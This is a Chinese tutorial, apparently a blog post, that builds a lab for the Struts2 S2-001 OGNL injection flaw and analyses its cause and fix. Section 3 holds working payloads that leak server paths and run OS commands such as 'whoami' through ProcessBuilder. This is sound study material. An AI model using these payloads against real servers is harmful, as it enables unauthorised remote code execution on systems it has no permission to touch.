从零开始学习struts2漏洞 S2-001
字数 2027 2025-08-27 12:33:23

Struts2 S2-001漏洞分析与复现教程

1. 漏洞概述

S2-001是Struts2框架中的一个远程代码执行漏洞,属于OGNL表达式注入类型。该漏洞允许攻击者通过构造特殊的OGNL表达式,在服务器端执行任意代码。

2. 环境搭建

2.1 所需工具

  • 操作系统:Windows 10
  • 开发工具:IntelliJ IDEA
  • 服务器:Apache Tomcat 9.0.7
  • Struts2版本:2.0.1(从http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip下载)

2.2 项目结构

项目根目录/
├── WEB-INF/
│   ├── lib/ (存放Struts2相关jar包)
│   └── web.xml
├── index.jsp
└── welcome.jsp

2.3 详细步骤

  1. 创建项目:在IDEA中新建一个Web Application项目

  2. 添加依赖库

    • 在WEB-INF目录下创建lib文件夹
    • 将以下5个核心jar包放入lib目录:
      • struts2-core-2.0.1.jar
      • xwork-2.0.1.jar
      • ognl-2.6.11.jar
      • freemarker-2.3.8.jar
      • commons-logging-1.0.4.jar
  3. 配置web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
         xmlns="http://xmlns.jcp.org/xml/ns/javaee" 
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" 
         id="WebApp_ID" version="3.1">
    <display-name>S2-001 Example</display-name>
    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
    <welcome-file-list>
        <welcome-file>index.jsp</welcome-file>
    </welcome-file-list>
</web-app>
  1. 创建JSP页面

index.jsp:

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>S2-001</title>
</head>
<body>
    <h2>S2-001 Demo</h2>
    <s:form action="login">
        <s:textfield name="username" label="username" />
        <s:textfield name="password" label="password" />
        <s:submit></s:submit>
    </s:form>
</body>
</html>

welcome.jsp:

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>S2-001</title>
</head>
<body>
    <p>Hello <s:property value="username"></s:property></p>
</body>
</html>
  1. 创建Action类

在src目录下创建com.demo.action包,然后创建LoginAction.java:

package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
    private String username = null;
    private String password = null;

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String execute() throws Exception {
        if ((this.username.isEmpty()) || (this.password.isEmpty())) {
            return "error";
        }
        if ((this.username.equalsIgnoreCase("admin")) && (this.password.equals("admin"))) {
            return "success";
        }
        return "error";
    }
}
  1. 配置struts.xml:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
    <package name="S2-001" extends="struts-default">
        <action name="login" class="com.demo.action.LoginAction">
            <result name="success">welcome.jsp</result>
            <result name="error">index.jsp</result>
        </action>
    </package>
</struts>
  1. 导入jar包

    • 通过File -> Project Structure -> Libraries添加lib目录下的jar包
  2. 配置Tomcat

    • 在IDEA中配置Tomcat服务器
    • 设置部署路径和端口(默认8080)

3. 漏洞利用

3.1 基本验证

在密码框中输入%{1+1}(%需要URL编码为%25),提交后会显示计算结果"2"。

3.2 信息泄露

  • 获取Tomcat路径:
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
  • 获取Web路径:
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

3.3 命令执行

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

修改java.lang.String[]{"whoami"}部分可执行任意命令。

4. OGNL表达式基础

OGNL(Object-Graph Navigation Language)是一种功能强大的表达式语言,具有以下特点:

4.1 OGNL三要素

  1. 表达式(Expression):规定OGNL操作的内容
  2. 根对象(Root Object):指定操作的对象
  3. 上下文环境(Context):规定操作的环境

4.2 表达式功能

  1. 基本对象树访问:使用点号串联对象引用,如user.name
  2. 容器变量访问:通过#符号,如#session.user
  3. 操作符:支持Java操作符及mod, in, not in
  4. 容器操作
    • 数组/List访问:group.users[0]
    • Map访问:#session['mySessionPropKey']
    • 构造容器:
      • List:{"green", "red", "blue"}
      • Map:#{"key1":"value1", "key2":"value2"}
  5. 静态方法/变量访问@class@method(args)@class@field
  6. 方法调用:如user.getName()
  7. 投影和选择
    • 投影:group.userList.{username}
    • 选择:
      • ?:所有满足条件的元素
      • ^:第一个满足条件的元素
      • $:最后一个满足条件的元素

5. 漏洞分析

5.1 关键代码

漏洞位于xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class中的translateVariables方法:

public static Object translateVariables(char open, String expression, 
    ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
    
    Object result = expression;
    while (true) {
        int start = expression.indexOf(open + "{");
        int length = expression.length();
        int x = start + 2;
        int count = 1;
        
        while (start != -1 && x < length && count != 0) {
            char c = expression.charAt(x++);
            if (c == '{') {
                ++count;
            } else if (c == '}') {
                --count;
            }
        }
        
        int end = x - 1;
        if (start == -1 || end == -1 || count != 0) {
            return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
        }
        
        String var = expression.substring(start + 2, end);
        Object o = stack.findValue(var, asType);
        if (evaluator != null) {
            o = evaluator.evaluate(o);
        }
        
        String left = expression.substring(0, start);
        String right = expression.substring(end + 1);
        
        if (o != null) {
            if (TextUtils.stringSet(left)) {
                result = left + o;
            } else {
                result = o;
            }
            if (TextUtils.stringSet(right)) {
                result = result + right;
            }
            expression = left + o + right;
        } else {
            result = left + right;
            expression = left + right;
        }
    }
}

5.2 漏洞触发流程

  1. 用户提交包含%{1+1}的表单
  2. 第一次解析得到password字段的值%{1+1}
  3. 第二次解析%{1+1},计算得到结果2
  4. 结果被回显到页面中

5.3 根本原因

Struts2错误地使用了递归解析OGNL表达式,导致可以嵌套执行任意OGNL表达式。

6. 漏洞修复

官方修复方案是在translateVariables方法中添加了循环次数限制:

public static Object translateVariables(char open, String expression, 
    ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {
    
    // 新增循环计数检查
    if (loopCount > maxLoopCount) {
        // translateVariables prevent infinite loop / expression recursive evaluation
        break;
    }
    // ...其余代码不变...
}

7. 总结

S2-001漏洞展示了OGNL表达式注入的危险性,通过分析我们可以了解到:

  1. Struts2框架对用户输入的递归解析存在安全隐患
  2. OGNL表达式的强大功能在被恶意利用时可导致严重后果
  3. 修复方案通过限制递归深度来防止表达式无限解析

8. 参考链接

  1. https://chybeta.github.io/2018/02/06/【struts2-命令-代码执行漏洞分析系列】S2-001/
  2. http://www.zerokeeper.com/vul-analysis/struts2-command-execution-series-review.html
Struts2 S2-001漏洞分析与复现教程 1. 漏洞概述 S2-001是Struts2框架中的一个远程代码执行漏洞,属于OGNL表达式注入类型。该漏洞允许攻击者通过构造特殊的OGNL表达式,在服务器端执行任意代码。 2. 环境搭建 2.1 所需工具 操作系统:Windows 10 开发工具:IntelliJ IDEA 服务器:Apache Tomcat 9.0.7 Struts2版本:2.0.1(从http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip下载) 2.2 项目结构 2.3 详细步骤 创建项目 :在IDEA中新建一个Web Application项目 添加依赖库 : 在WEB-INF目录下创建lib文件夹 将以下5个核心jar包放入lib目录: struts2-core-2.0.1.jar xwork-2.0.1.jar ognl-2.6.11.jar freemarker-2.3.8.jar commons-logging-1.0.4.jar 配置web.xml : 创建JSP页面 : index.jsp : welcome.jsp : 创建Action类 : 在src目录下创建 com.demo.action 包,然后创建 LoginAction.java : 配置struts.xml : 导入jar包 : 通过File -> Project Structure -> Libraries添加lib目录下的jar包 配置Tomcat : 在IDEA中配置Tomcat服务器 设置部署路径和端口(默认8080) 3. 漏洞利用 3.1 基本验证 在密码框中输入 %{1+1} (%需要URL编码为 %25 ),提交后会显示计算结果"2"。 3.2 信息泄露 获取Tomcat路径 : 获取Web路径 : 3.3 命令执行 修改 java.lang.String[]{"whoami"} 部分可执行任意命令。 4. OGNL表达式基础 OGNL(Object-Graph Navigation Language)是一种功能强大的表达式语言,具有以下特点: 4.1 OGNL三要素 表达式(Expression) :规定OGNL操作的内容 根对象(Root Object) :指定操作的对象 上下文环境(Context) :规定操作的环境 4.2 表达式功能 基本对象树访问 :使用点号串联对象引用,如 user.name 容器变量访问 :通过 # 符号,如 #session.user 操作符 :支持Java操作符及 mod , in , not in 等 容器操作 : 数组/List访问: group.users[0] Map访问: #session['mySessionPropKey'] 构造容器: List: {"green", "red", "blue"} Map: #{"key1":"value1", "key2":"value2"} 静态方法/变量访问 : @class@method(args) 或 @class@field 方法调用 :如 user.getName() 投影和选择 : 投影: group.userList.{username} 选择: ? :所有满足条件的元素 ^ :第一个满足条件的元素 $ :最后一个满足条件的元素 5. 漏洞分析 5.1 关键代码 漏洞位于 xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class 中的 translateVariables 方法: 5.2 漏洞触发流程 用户提交包含 %{1+1} 的表单 第一次解析得到 password 字段的值 %{1+1} 第二次解析 %{1+1} ,计算得到结果 2 结果被回显到页面中 5.3 根本原因 Struts2错误地使用了递归解析OGNL表达式,导致可以嵌套执行任意OGNL表达式。 6. 漏洞修复 官方修复方案是在 translateVariables 方法中添加了循环次数限制: 7. 总结 S2-001漏洞展示了OGNL表达式注入的危险性,通过分析我们可以了解到: Struts2框架对用户输入的递归解析存在安全隐患 OGNL表达式的强大功能在被恶意利用时可导致严重后果 修复方案通过限制递归深度来防止表达式无限解析 8. 参考链接 https://chybeta.github.io/2018/02/06/【struts2-命令-代码执行漏洞分析系列】S2-001/ http://www.zerokeeper.com/vul-analysis/struts2-command-execution-series-review.html